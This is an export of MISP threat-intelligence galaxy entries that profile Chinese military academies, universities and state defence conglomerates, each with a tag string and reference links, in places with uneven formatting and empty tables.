The tag is: `misp-galaxy:china-defence-universities="Air Force Medical University (中国人民解放军空军军医大学)"`
**Air Force Research Institute (中国人民解放军空军研究院)**

The Air Force Research Institute is an air force scientific research institute, the successor to the Air Force Equipment Academy (空军装备研究院), that was established in 2017. The institute runs the Key Laboratory of Complex Aviation System Simulation (复杂航空系统仿真国家重点实验室) and carries out research on areas such as aircraft design, flight control, guidance and navigation, and electronic countermeasures.

The tag is: *misp-galaxy:china-defence-universities=*"Air Force Research Institute (中国人民解放军空军研究院)"

### Table 832. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unitracker.aspi.org.au/universities/air-force-research-institute">https://unitracker.aspi.org.au/universities/air-force-research-institute</a></td>
</tr>
</tbody>
</table>

**Air Force Xi’an Flight Academy (中国人民解放军空军西安飞行学院)**

Created upon the merger of the PLA Air Force’s Second and Fifth Flight Academies in 2011, the Air Force Xi’an Flight Academy specialises in training airmen in aviation while passing on the PLA's 'revolutionary traditions'. It remains ‘one of the Air Force's three advanced institutions in air combat, and is known to train the PLA Air Force's JJ-7 fighter pilots. Given this focus on training, the institution engages in little scientific research.

The tag is: *misp-galaxy:china-defence-universities=*"Air Force Xi’an Flight Academy (中国人民解放军空军西安飞行学院)"

### Table 833. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Anhui University (安徽大学)**

Anhui University is overseen by the Anhui Provincial Government. In January 2019, defence industry agency SASTIND and the Anhui Provincial Government signed an agreement to jointly develop Anhui University. This agreement with SASTIND suggests that the university will increase its role in defense research in the future.

The tag is: *misp-galaxy:china-defence-universities=*"Anhui University (安徽大学)"

### Table 834. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Army Academy of Armored Forces (中国人民解放军陆军装甲兵学院)

The Army Academy of the Armored Forces is China's lead institute responsible for training and research for armoured combat. This includes a focus on tank warfare, mechanised artillery and infantry operations. The academy offers training in ‘armored combat command, surveillance and intelligence, operational tactics’ as well as in engineering disciplines relevant to operations involving the PLA Ground Force's armoured corps, such as materials science, mechanical engineering, electrical engineering and automation, communications engineering, weapons systems engineering and photoelectric information science.

The tag is: `misp-galaxy:china-defence-universities="Army Academy of Armored Forces (中国人民解放军陆军装甲兵学院)"`

Table 835. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Army Academy of Artillery and Air Defense (中国人民解放军陆军炮兵防空兵学院)

The Army Academy of Artillery and Air Defense is an institution devoted to training artillery and air defence officers in the PLA Ground Force. Its areas of focus include electrical engineering and automation, munitions engineering and explosives technology, radar engineering, and missile engineering.

The tag is: `misp-galaxy:china-defence-universities="Army Academy of Artillery and Air Defense (中国人民解放军陆军炮兵防空兵学院)"`

Table 836. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Army Academy of Border and Coastal Defense (中国人民解放军陆军边海学院)

With a history dating back to 1941, the Army Academy of Border and Coastal Defense is the only institution of higher education devoted to training PLA Ground Force personnel in border and coastal defence operations. Its subjects of focus include firepower command and control engineering, and command information systems engineering.

The tag is: `misp-galaxy:china-defence-universities="Army Academy of Border and Coastal Defense (中国人民解放军陆军边海学院)"`

Table 837. Table References
Army Aviation College (中国人民解放军陆军航空兵学院)

The Army Aviation College is the PLA’s institution responsible for training mid-career helicopter pilots from the PLA Air Force and aviation officers from the PLA Ground Force. The college’s subject areas include aircraft and engine design, aviation communications and air defence systems, flight radar maintenance engineering, and combat aircraft maintenance engineering.

The tag is: `misp-galaxy:china-defence-universities="Army Aviation College (中国人民解放军陆军航空兵学院)"`

Army Engineering University (中国人民解放军陆军工程大学)

The Army Engineering University was established in 2017 following the abolition of the PLA University of Science and Technology. The university is devoted to research on ‘engineering, technology and combat command systems’ for the PLA Land Force. The university’s areas of research include:

The tag is: `misp-galaxy:china-defence-universities="Army Engineering University (中国人民解放军陆军工程大学)"`

Army Infantry Academy (中国人民解放军陆军步兵学院)

The Army Infantry Academy is a higher education institution in China devoted to providing elementary training in command for infantry soldiers in the PLA Ground Force. The academy teaches courses in operational disciplines such as command information systems engineering, armored vehicles engineering and weapons systems engineering. As well as providing formal teaching, the Army Infantry Academy also provides oversight for training exercises and electronic warfare simulations.

The tag is: `misp-galaxy:china-defence-universities="Army Infantry Academy (中国人民解放军陆军步兵学院)"`
Army Medical University (中国人民解放军陆军军医大学) 

The PLA Army Medical University, formerly known as the Third Military Medical University, is a medical education university affiliated with the PLA Ground Force. It was formed in 2017 through a merger with the PLA Western Theater Command Urumqi Comprehensive Training Base’s Military Medical Training Brigade and the Tibet Military Region’s Eighth Hospital. The Army Medical University includes six national key laboratories and 32 Ministry of Education or military key laboratories. It has won military awards for science and technology progress and seven national science and technology prizes.

The tag is: *misp-galaxy:china-defence-universities="Army Medical University (中国人民解放军陆军军医大学)"*

Table 841. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Army Military Transportation Academy (中国人民解放军陆军军事交通学院)

The Army Military Transport Academy is a higher education institution devoted to training PLA Ground Force personnel in military transport and logistics. The academy focusses on military transport command engineering, command and automation engineering, ordnance engineering, and armament sustainment command.

The tag is: *misp-galaxy:china-defence-universities="Army Military Transportation Academy (中国人民解放军陆军军事交通学院)"*

Table 842. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Army Research Institute (中国人民解放军陆军研究院)

The Army Research Institute is an institution devoted to advanced defence research with applications to land warfare. The institute engages in a variety of defence research including radar technology, lasers, and hybrid electric vehicles. Researchers from the institute are known to have collaborated with partners from China’s civilian universities in areas such as advanced manufacturing and automatic control, and laser technology. The Army Research Institute collaborates with civilian companies as part of China’s military-civil fusion program. For example, General Guo Guangsheng from the Army Research Institute made a visit to Hong Run Precision Instruments Co. Ltd. (虹润) on 24 August 2019 to assess how the company was performing in its military-civil fusion activities. Researchers from the Army Research Institute have also been involved in the product design and development of dual-use automobiles as part of a military-civil fusion project called ‘Research, Development and Commercialisation of Advanced Off-road Passenger Vehicles’ (新一代军民通用车研发及产业化). The project included research into vehicles such as the
BJ80 military and civilian off-road passenger vehicles as well as the BJ40L off-road vehicle.

The tag is: `misp-galaxy:china-defence-universities="Army Research Institute (中国人民解放军陆军研究院)"

**Table 843. Table References**

**Links**

https://unitracker.aspi.org.au/universities/army-research-institute

**Army Service Academy (中国人民解放军陆军勤务学院)**

The Army Service Academy is an institution of higher education in the PLA devoted to training personnel in a variety of logistics disciplines. The logistics disciplines taught at the academy include: fuel logistics, military facility management, military procurement management, and integrated logistics management. Its areas of focus for defence research include military energy engineering, defence engineering, and management science and engineering.

The tag is: `misp-galaxy:china-defence-universities="Army Service Academy (中国人民解放军陆军勤务学院)"

**Table 844. Table References**

**Links**


**Army Special Operations Academy (中国人民解放军陆军特种作战学院)**

The academy’s key subjects include special operations command, surveillance and intelligence, and command information systems engineering.

The tag is: `misp-galaxy:china-defence-universities="Army Special Operations Academy (中国人民解放军陆军特种作战学院)"

**Table 845. Table References**

**Links**


**Aviation Industry Corporation of China (中国航空工业集团有限公司)**

AVIC is a state-owned defence conglomerate established in 2008 that focuses on providing aerospace products for military and civilian customers. AVIC’s main product lines include a variety of aircraft for freight, commercial and military aviation along with other more specialised products such as printed circuit boards, liquid crystal displays and automotive parts, according to Bloomberg. AVIC also provides services to the aviation sector through flight testing, engineering, logistics and asset management. The conglomerate has over 400,000 employees and has a controlling share in around 200 companies. AVIC has over 25 subsidiaries listed on its website. AVIC is the PLA Air Force’s largest supplier of military aircraft, producing fighter jets, strike aircraft,
unmanned aerial vehicles and surveillance aircraft. Along with its core work on military aircraft, AVIC also produces surface-to-air, air-to-surface and air-to-air missiles. Its headline projects include the J-10 and the J-11 fighter aircraft. AVIC’s subsidiary, the Shenyang Aircraft Corporation, was responsible for delivery of the J-15 fighter. Another subsidiary of AVIC, the Chengdu Aerospace Corporation, developed the PLA-AF’s J-20 stealth fighter jet.

The tag is: *misp-galaxy:china-defence-universities="Aviation Industry Corporation of China (航空工业集团有限公司)"*

Table 846. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Aviation University of Air Force (航空大学)**

AUAF is one of China’s main institutions devoted to the training of air force pilots. Its areas of focus are training in flight command and research into aeronautical engineering. Disciplines taught at AUAF include command science and engineering, aerospace science and technology as well as political work and military command. AUAF scientists publish and attend conferences on radar technology and electronic countermeasures. For example, scientists from AUAF’s Information Countermeasures Division co-authored a publication on radar target recognition with a researcher from the PLA’s Unit 94936 – an aviation unit stationed in Hangzhou. AUAF scientists have also done notable work on complex systems radar and signal pre-sorting.

The tag is: *misp-galaxy:china-defence-universities="Aviation University of Air Force (航空大学)"*

Table 847. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Beihang University (北京航空航天大学)**

Beihang University engages in very high levels of defence research as one of the ‘Seven Sons of National Defence’ subordinate to the Ministry of Industry and Information Technology. The university specialises in aviation and spaceflight research. The top four employers of Beihang graduates in 2018 were all state-owned missile or defence aviation companies. In total, 29% of 2018 Beihang graduates who found employment were working in the defence sector. Beihang scientists are involved in the development of Chinese military aircraft and missiles. In 2018, the university signed a comprehensive strategic cooperation agreement with China Aerospace Science and Technology Corporation, a state-owned conglomerate that produces ballistic missiles and satellites. The university is also noteworthy for its leading research on stealth technology. Beihang hosts at least eight major defence laboratories working on fields such as aircraft engines, inertial navigation and fluid dynamics.

The tag is: *misp-galaxy:china-defence-universities="Beihang University (北京航空航天大学)"*
Beijing Electronic Science and Technology Institute (北京电子科技学院)

BESTI is a secretive university that trains information security experts for the bureaucracy. The institute is the only university run by the CCP General Office, which manages administrative matters for the Central Committee. The General Office is usually run by one of the general secretary's most trusted aides. It oversees China’s cryptographic and state secrets agency as well as security for the party’s leadership. BESTI has a student population of around 2,000 and has strict admission requirements. Students at the university are scrutinized for their political beliefs, and are typically CCP or Communist Youth League members. The activities of their relatives are screened for political issues. Having no parents or siblings who worked abroad or were involved in ‘illegal organisations’ is a condition of enrolment. The institute claims to count 50 ministerial-level party officials among its 12,000 graduates. BESTI has a close relationship with Xidian University and Beijing University of Posts and Telecommunications. The two universities are its primary collaborators on scientific papers. BESTI runs joint master's programs with Xidian University in cryptography, information and communication engineering, and computer applications technology. It also has joint doctoral programs with the University of Science and Technology of China and Beijing University of Posts and Telecommunications in cybersecurity. The university runs the Key Laboratory of Information Security (信息安全重点实验室). Several websites claim that it runs a joint laboratory with the Chinese Academy of Sciences Institute of High Energy Physics, but this could not be confirmed.

The tag is: **misp-galaxy:china-defence-universities**="Beijing Electronic Science and Technology Institute (北京电子科技学院)"

Beijing Institute of Technology (北京理工大学)

BIT is one of the ‘Seven Sons of National Defence’ supervised by MIIT. It is a leading centre of military research and one of only fourteen institutions accredited to award doctorates in weapons science. In 2017, China’s Ministry of Education ranked BIT and Nanjing University of Science and Technology as the country's top institutions for weapons science. It has received the most defence research prizes and defence patents out of all China’s universities. 31.80% of BIT graduates in 2018 who found employment were working in the defence sector. BIT’s claimed achievements include producing the PRC's first light tank, first two-stage solid sounding rocket and first low-altitude altimetry radar. The university also states that it carries out world-class research on several areas of missile technology including “precision strikes, high damage efficiency, maneuver penetration, long-range suppression, and military communications systems and counter-measures”. In 2018, BIT...
announced that it was running a four-year experimental program training some of China’s top high school students in intelligent weapons systems. BIT is the chair of the B8 Cooperation Innovation Alliance (B8协创新联盟), a group of eight Chinese research institutions that specialize in weapons science—the ‘B’ in ‘B8’ stands for Chinese work for armaments, bingqi (兵器). BIT’s central role in advancing PLA warfighting capability is demonstrated by the fact that it participated in the development of equipment used by 22 of the 30 squads in the 2009 military parade for the 60th anniversary of the founding of the PRC.

The tag is: 

misp-galaxy:china-defence-universities="Beijing Institute of Technology (北京理工大学)"

Table 850. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Beijing University of Chemical Technology (北京化工大学)**

BUCT is subordinate to the Ministry of Education. The university engages in high levels of defence research. In 2016, the Ministry of Education and defence industry agency SASTIND agreed to jointly construct BUCT, a move designed to expand its involvement in defence research. Between 2011 and 2015, the university’s spending on defence research reached RMB272 million (AUD56 million), approximately 15% of the university’s research spending and an increase of around 50% over the previous five years. BUCT specialises in the development and application of critical materials for the defence industry. Its research on carbon fibres has been applied to the aerospace industry. BUCT holds secret-level security credentials, allowing it to participate in classified defence and weapons technology projects.

The tag is: 

misp-galaxy:china-defence-universities="Beijing University of Chemical Technology (北京化工大学)"

Table 851. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Beijing University of Posts and Telecommunications (北京邮电大学)**

BUPT is subordinate to the Ministry of Education in addition to being jointly constructed by the Ministry of Industry and Information Technology. BUPT is one of eight Chinese universities known to have received top-secret security credentials. Since its establishment, the university has focused on information engineering and computer science, and has continued to produce important defence and security technology research. The School of Cyberspace Security is home to one of the university’s two defence laboratories—the Key Laboratory of Network and Information Attack & Defense Technology of Ministry of Education—which carries out research for the Chinese military related to cyber attacks. BUPT is a member of several military-civilian fusion (MCF) alliances and has been awarded for its contributions to MCF and the PLA. During the past three years, major
employers of BUPT graduates include the Ministry of State Security, the Ministry of Public Security and MIIT. This suggests a close relationship between BUPT and China’s security and intelligence agencies.

The tag is: *misp-galaxy:china-defence-universities="Beijing University of Posts and Telecommunications (北京邮电大学)"*

---

**Central South University (中南大学)**

Out of all universities subordinate to the MOE, CSU reportedly receives the most military research funding and was the first to receive a weapons production license. In 2008 and 2011 respectively, the defence industry agency SASTIND and the Ministry of Education (MOE) signed agreements to jointly supervise CSU. Under this arrangement, SASTIND committed to expanding CSU’s involvement in defence research and support the development of its School of Aeronautics and Astronautics and Military Industry Technology Research Institute. CSU’s defence research appears to focus on metallurgy, materials science, and aviation technology, including the development of heat-resistant materials for aeroplane and rocket engines. The university has been involved in the development of China’s first atomic bomb, first intermediate-range ballistic missile, and first nuclear submarine. In 2018, it signed a strategic cooperation agreement with the Chinese Academy of Launch Vehicle Technology, a subsidiary of China Aerospace Science and Technology Corporation that is included on the US BIS Entity List for its involvement in developing rockets.

The tag is: *misp-galaxy:china-defence-universities="Central South University (中南大学)"*

---

**Changchun University of Science and Technology (长春理工大学)**

CUST is primarily supervised by the Jilin Provincial Government but has also been under the administration of SASTIND and its predecessors for over 30 years over its history. The university specialises in photoelectric technology and has a strong focus on defence research. CUST describes itself as having ‘safeguarding national defence as its sublime responsibility and sacred mission.’ CUST is a member of the B8 Cooperation Innovation Alliance (兵器协同创新联盟), a group of eight Chinese research institutions that specialize in armaments science—the ‘B’ in ‘B8’ stands for Chinese work for armaments, bingqi (兵器). In April 2018, CUST established the School of Artificial Intelligence (人工智能学院) and the Artificial Intelligence Research Institute (人工智能研究院). CUST researchers working on AI are likely involved in research related to facial recognition technology.

The tag is: *misp-galaxy:china-defence-universities="Changchun University of Science and Technology (长春理工大学)"*
China Aerodynamics Research and Development Center (中国空气动力研究与发展中心)

CARDC claims to be China’s largest aerodynamics research and testing base. It hosts the State Key Laboratory of Aerodynamics (气动力学国家重点实验室), which includes five wind tunnels and a large computer cluster. CARDC is heavily involved in research on hypersonics. While CARDC is a military unit, its website does not mention this. The PLA officers leading the facility are instead pictured on its website in civilian clothes (pictured: CARDC director, Major General Fan Zhaolin (范召林) in uniform (above) and in civilian attire on CARDC’s website (below).

The tag is: \textit{misp-galaxy:china-defence-universities="China Aerodynamics Research and Development Center (中国空气动力研究与发展中心)"}

China Aerospace Science and Industry Corporation (中国航天科工集团有限公司)

CASIC specialises in defence equipment and aerospace products, particularly short- and medium-range missiles. CASIC is a leading provider to the Chinese military of high-end capabilities such as air-defence, cruise, and ballistic missile systems along with space launch vehicles, micro-satellites and anti-satellite interceptors, according to Mark Stokes and Dean Cheng. CASIC employs over 146,000 employees and is on the Fortune 500 list with revenue exceeding USD37 billion (AUD55 billion). Although defence products form part of CASIC’s main product line, the company also produces products for civilian customers such as electronics, communications equipment and medical equipment. Nevertheless, CASIC claims that it ‘will always uphold its core value of ranking national interests above all’, which indicates that civilian products receive less priority than defence equipment.

The tag is: \textit{misp-galaxy:china-defence-universities="China Aerospace Science and Industry Corporation (中国航天科工集团有限公司)"}
China Aerospace Science and Technology Corporation (中国航天科技集团)

CASC was established in 1999 as a defence aerospace conglomerate. The company is primarily focused on ‘developing carrier rockets, various kinds of satellites, ... and tactical missile systems.’ With revenues nearing USD38 billion (AUD55 billion), CASC employs nearly 180,000 personnel and is on the Fortune 500 list. PLA experts Mark Stokes and Dean Cheng have noted that CASC’s main products for the PLA include ‘ballistic missiles and space launch vehicles, large solid rocket motors, liquid fuelled engines, satellites, and related sub-assemblies and components.’ The Federation of American Scientists claims CASC is particularly advanced in high-energy propellant technology, satellite applications, strap-on boosters and system integration. CASC maintains an investment business which may be geared towards civilian purposes, according to Bloomberg. The Federation of American Scientists notes that some civilian product lines for CASC include ‘machinery, chemicals, communications equipment, transportation equipment, computers, medical care products and environmental protection equipment.’ CASC oversees multiple research academies, which have been separately identified by Mark Stokes and Dean Cheng and by the Nuclear Threat Initiative. The Nuclear Threat Initiative has identified that CASC has the following subordinate companies:

The tag is: `misp-galaxy:china-defence-universities="China Aerospace Science and Technology Corporation (中国航天科技集团)"`

Table 857. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

China Coast Guard Academy (中国人民武装警察部队海警学院)

The China Coast Guard Academy is an institution of higher learning that trains personnel for entry into China’s maritime border defence agency. The academy teaches conducts research and training in maritime law enforcement, warship technology as well as surveillance and intelligence disciplines. The China Coast Guard Academy established the Large Surface Vessel Operation and Simulation Laboratory (大型船艇操纵仿真实验室) in 2016, which focuses on the development of white-hulled boats for the China Coast Guard.

The tag is: `misp-galaxy:china-defence-universities="China Coast Guard Academy (中国人民武装警察部队海警学院)"`

Table 858. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

China Electronics Corporation (中国电子信息产业集团有限公司)

CEC is a state-owned conglomerate that produces dual-use electronics. The company was established in 1989 to produce semi-conductors, electronic components, software and
telecommunications products. The company describes itself as a defence industry conglomerate. CEC is one of China’s largest companies with nearly 120 thousand employees. CEC claims to hold 22 subordinate enterprises and 14 listed companies. Global Security has provided a list of CEC’s 36 member companies in English. CEC is divided into two operational groups. First is the China Electronics Party Institute (中国电子党校), which provides disciplinary oversight and organises communist party activities within CEC. Second is the Science and Technology Committee (科技委员会), which is responsible for research and development within CEC. CEC’s defence electronics are developed by the Military Engineering Department (军工部) within CEC’s Science and Technology Committee. Key defence electronics produced by CEC include tracking stations, radar technology, as well as command and control systems. The company maintains its own office for the management of classified information related to defence research. The Federation of American Scientists has identified CEC’s defence-related enterprises on a list that can be found here.

The tag is: \textit{misp-galaxy:china-defence-universities}="China Electronics Corporation (中国电子信息产业集团有限公司)"

\begin{table}[h!]
\centering
\begin{tabular}{|c|}
\hline
Links \tabularnewline
\hline
https://unitracker.aspi.org.au/universities/china-electronics-corporation \tabularnewline
\hline
\end{tabular}
\caption{Table 859. Table References}
\end{table}

\textbf{China Electronics Technology Group Corporation (中国电子科技集团公司)}

CETC is a state-owned defence conglomerate that specialises in dual-use electronics. The company was established in 2002 by bringing dozens of research institutes administered by the Ministry of Information Industry, the predecessor to the Ministry of Industry and Information Technology, under one umbrella. CETC is one of the world’s largest defence companies. It claims to have 523 subordinate units and companies and 160,000 employees. CETC divides its defence electronics products into seven categories: air base early warning, integrated electronic information systems, radar, communication and navigation, electronic warfare, UAVs and integrated IFF (identification, friend or foe). CETC also provides technology used for human rights abuses in Xinjiang, where approximately 1.5m are held in re-education camps. Several CETC research institutes and subsidiaries have been added to the US Government’s entity list, restricting exports to them on national security grounds. CETC has been implicated by the US Department of Justice in at least three cases of illegal exports. CETC has a large international market and has also expanded its international research collaboration in recent years. It has a European headquarters in Graz, Austria, and has invested in the University of Technology Sydney.

The tag is: \textit{misp-galaxy:china-defence-universities}="China Electronics Technology Group Corporation (中国电子科技集团公司)"

\begin{table}[h!]
\centering
\begin{tabular}{|c|}
\hline
Links \tabularnewline
\hline
https://unitracker.aspi.org.au/universities/china-electronics-technology-group-corporation \tabularnewline
\hline
\end{tabular}
\caption{Table 860. Table References}
\end{table}
China National Nuclear Corporation (中国核工业集团有限公司)

CNCC is the leading state-owned enterprise for China’s civilian and military nuclear programs. It consists of more than 200 subordinate enterprises and research institutes, many of which are listed on the Nuclear Threat Initiative website. In 2018, CNNC took over China’s main nuclear construction company, China Nuclear Engineering and Construction Group (中国核工业建设集团). The company is organized into eight industrial sectors, including nuclear power, nuclear power generation, nuclear fuel, natural uranium, nuclear environmental protection, application of nuclear technologies, non-nuclear civilian products and new energy sources. CNNC is mainly engaged in research and development, design, construction and production operations in the fields of nuclear power, nuclear fuel cycle, nuclear technology application, and nuclear environmental protection engineering. Because of the dual-use nature of nuclear technologies, the nuclear industry is a typical military-civil fusion industry. Naval nuclear power technology and nuclear reactor technology in the reactor core, fuel assembly, safety and security, and radioactive waste treatment all use the same or very similar processes. In March 2019, CNNC established an military-civil fusion fund dedicated to dual-use nuclear technology research and design. Two CNNC subsidiaries have been added to the US Government's Entity List, restricting exports to them on national security grounds. CNNC has cooperated with U.S. Westinghouse Electric to construct AP1000 nuclear power plants. The company also has a significant overseas presence, signing agreements for joint research with U.S., French, Canadian, U.K., Russian and Argentinian companies.

The tag is: misp-galaxy:china-defence-universities="China National Nuclear Corporation (中国核工业集团有限公司)"

Table 861. Table References

Links


China North Industries Group (中国兵器工业集团公司)

Norinco Group was established in 1999 as a state-owned defence conglomerate devoted to the development and production of armaments for Chinese and foreign defence customers. Its main defence products include artillery and tear gas, air defence and anti-missile systems, anti-tank missiles and precision-guided munitions as well as armoured vehicles such as main battle tanks and infantry combat vehicles. Bloomberg reports that Norinco Group’s civilian products include various engineering services and heavy-duty construction equipment. Norinco Group employs over 210,000 personnel, has revenues exceeding US$68.8 billion and is listed on the Fortune 500. Norinco Group has hundreds of subsidiaries and subordinate research institutes in China and around the world that have been catalogued by the International Peace Information Service and Omega Research Foundation in their working paper on the company and on Norinco Group’s website. Norinco Group’s Institute of Computer Application Technology (中国兵器工业计算机应用研究所) was one of the first adopters of internet technology and remains a leading company for research into network security. The institute hosts four internet research centres and is reported to work with the National Administration for State Secrets Protection (国家保密局) on the Information Security and Testing and Evaluation Centre (涉密信息系统安全保密测评中心).

The tag is: misp-galaxy:china-defence-universities="China North Industries Group (中国兵器工业集团公司)"
China People’s Police University (中国人民警察大学)

The China People's Police University is an institution of higher learning devoted to training active duty police officers and firefighters in command and management as well as specialist technical officers. The curriculum is separated into two main streams, one for police officers and the other for firefighters. Its police disciplines include immigrant management, entry-exit and border control management, security intelligence, cyber-security, and political work. Its firefighting disciplines include firefighting engineering, electronic information engineering, and nuclear and biochemical fire control. Research facilities at the university include:

The tag is: misp-galaxy:china-defence-universities="China People's Police University (中国人民警察大学)"

China Shipbuilding Industry Corporation (中国船舶重工集团有限公司)

CSIC was established as one of China’s primary state-owned defence companies on 1 July 1999. CSIC is the PLA Navy's largest supplier of weapons platforms, accounting for nearly 80 per cent of all armaments. CSIC's signature products include conventional and nuclear submarines, warships and torpedoes, as well as the Liaoning aircraft carrier program. CSIC maintains a civilian shipbuilding program alongside its program of supplying the PLA Navy. CSIC's civilian work includes the production of oil and chemical tankers, container ships, bulk carriers and engineering ships. On 2 July 2019, it was announced that CSIC and the China State Shipbuilding Corporation would merge. According to Janes Defence Weekly, ‘the two groups, which have combined assets of about USD120 billion and employ 240,000 people, dominate naval shipbuilding in China and between them operate 160 subsidiaries.’ Nikkei has listed some of CSIC’s main subsidiaries here.

The tag is: misp-galaxy:china-defence-universities="China Shipbuilding Industry Corporation (中国船舶重工集团有限公司)"

China South Industries Group (中国兵器装备集团有限公司)

CSGC is a leading producer of armaments for the People’s Liberation Army. It was founded in 1999.
and works on technologies such as advanced munitions, mobile assault weapons, lights armaments, information optoelectronics and counter-terrorism equipment. CSGC also maintains civilian product lines focused on the oil and energy sector, but most of the company's attention goes to developing armaments. The company employs nearly 200,000 personnel, its revenue approaches USD34 billion (AUD50 billion) and it is listed as a Fortune 500 company. CSGC holds a controlling share in more than 60 subsidiaries. 32 of these are listed on the company's website.

The tag is: *misp-galaxy:china-defence-universities*="*China South Industries Group (中国兵器装备集团有限公司)*"

### China State Shipbuilding Corporation (中国船舶工业集团有限公司)

CSCC was established as one China’s primary state-owned weapons companies on 1 July 1999 to build ships for military and civilian customers. CSSC markets itself as as the ‘backbone’ of the Chinese navy and its core products include a variety of warships and support vessels. Alongside its program supporting the PLA Navy, Bloomberg notes that CSSC ‘produces oil tankers, bulk carriers, conditioner vessels, deepwater survey ships, and marine equipment.’ On 2 July 2019, it was announced that the China Shipbuilding Industry Corporation and the CSSC would merge. According to Jane’s Defence Weekly, ‘the two groups, which have combined assets of about USD120 billion (AUD178 billion) and employ 240,000 people, dominate naval shipbuilding in China and between them operate 160 subsidiaries.’

The tag is:  *misp-galaxy:china-defence-universities*="*China State Shipbuilding Corporation (中国船舶工业集团有限公司)*"

### China University of Geosciences (Wuhan) (中国地质大学)

CUG is subordinate to the Ministry of Education and also supervised by China’s Ministry of Land and Resources. It is actively engaged in defence research and training on geology, hosting the defence-focused Ministry of Education Key Laboratory on Geological Exploration and Evaluation. The laboratory was established in 2018, has 56 staff, and trains students in 'military geology'. CUG gained secret-level security credentials in 2009, enabling it to participate in classified defence projects.

The tag is:  *misp-galaxy:china-defence-universities*="*China University of Geosciences (Wuhan) (中国地质大学)*"

---

Table 865. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Table 866. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Table 867. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
China University of Mining and Technology (中国矿业大学)

CUMT is subordinate to the Ministry of Education and specialises in engineering and other mining and industry-related disciplines. It engages in low levels of defence research. CUMT’s defence research revolves around manufacturing and design, materials science, control science, electronic components, power and energy, and bionics. It appears to be involved in the construction and design of underground bunkers for the military. The academic committee of its State Key Laboratory for Geomechanics and Deep Underground Engineering (国家深部岩石力学与地下工程重点实验室) is headed by PLA underground engineering expert Qian Qihu (钱七虎).

The tag is: `misp-galaxy:china-defence-universities="China University of Mining and Technology (中国矿业大学)"

Table 868. Table References

Links


Chinese Academy of Engineering Physics (中国工程物理研究院)

CAEP was founded in 1958 and now has over 24,000 employees. It is headquartered in Mianyang, Sichuan Province, but also has facilities in Chengdu and Beijing. Notably, Mianyang is home to a military-civil fusion (MCF) demonstration base—the Sichuan Mianyang High-Technology City. Sichuan Military District Commander Jiang Yongshen (姜永申) in 2016 stressed the important role that Mianyang plays in China’s larger science and technology development and the significance of its military-civil fusion (MCF) demonstration base. The academy is best known for nuclear weapons, but also carries out research on directed-energy weapons. CAEP’s four main tasks are to develop nuclear weapons, research microwaves and lasers for nuclear fusion ignition and directed-energy weapons, study technologies related to conventional weapons, and deepen military-civil fusion. It claims that its research covers 260 specialising, primarily in the broad areas of physics and mathematics, mechanics and engineering, materials and chemistry, electronics and information, and optics and electrical engineering. CAEP hosts part of the Tianhe-2 supercomputer, one of the world’s fastest supercomputers. Despite the sensitivity of its work, CAEP has expanded its international presence in recent years. It claims to send hundreds of scientists overseas to study or work as visiting scholars. CAEP has also used Chinese government talent recruitment schemes such as the Thousand Talents Plan to recruit dozens of scientists from abroad. By 2015, CAEP had recruited 57 scholars through the Thousand Talents Plan, making it one of the largest recruiters of Thousand Talents Plan scholars. CAEP maintains strong collaborative relationships with Chinese civilian universities. It runs a joint laboratory with the University of Electronic Science and Technology of China and collaborates with universities and research institutions including the Chinese Academy of Sciences, the University of Science and Technology of China, Shandong University, Southwest University of Science and Technology, Sichuan University, Jilin University, Peking University and Tsinghua University. CAEP sponsors postgraduate students in many of these institutions who are required to work there for five years after graduating.
Chongqing University (重庆大学)

CQU is a leading Chinese research institution subordinate to the Ministry of Education. Chongqing University is home to at least two laboratories devoted to defence research on nanotechnology and control systems. An institution accredited to conduct classified research, Chongqing University is active in improving its security culture with respect to the safeguarding of official secrets. In December 2016, the Ministry of Education entered an agreement with defence industry agency SASTIND to advance military-civil fusion at Chongqing University. Following this agreement, Chongqing University established the defence-focused Ministry of Education Key Laboratory for Complex Systems Safety and Autonomous Control, which works on control systems engineering in May 2018.

Chongqing University of Posts and Telecommunications (重庆邮电大学)

CQUPT is involved in research on wireless network engineering and testing, next-generation wideband wireless communication, computer networking and information security, intelligent information processing, advanced manufacturing, micro-electronics and specialized chip design. It ranks among the top 100 universities in China for science and technology. The university is supervised by the Ministry of Industry and Information Technology and the Chongqing Municipal Government. It holds secret-level security credentials, allowing it to participate in classified defence technology projects.
Chongqing University of Technology (重庆理工大学)

CQUT is a member of the B8 Cooperation Innovation Alliance (B8合作创新联盟), a group of eight Chinese research institutions that specialize in armament science—the ‘B’ in ‘B8’ stands for the Chinese word for armaments, bingqi (兵器). However its involvement in defence research does not appear as expansive as the other B8 members and it is a relatively low-ranked university. In 2017, its president stated that ‘Chongqing is an important site for the weapons industry, but its military-industrial research and development ability has not yet upgraded.’ Unlike the other members of the B8, SASTIND does not appear to supervise the university. The university has links to Norinco Group and China South Industries Group, China’s largest weapons manufacturers, and was under the supervision of the conglomerates’ predecessor, China Ordnance Industry Corporation, until 1999. In 2017 and 2018, it signed a partnerships with four local defence companies to collaborate on research and training. In 2011, CQUT received secret-level security credentials, enabling it to participate in classified defence projects.

The tag is: misp-galaxy:china-defence-universities="Chongqing University of Technology (重庆理工大学)"

| Table References |
|-------------------|-------------------------|
| **Links**         | https://unitracker.aspi.org.au/universities/chongqing-university-of-technology |

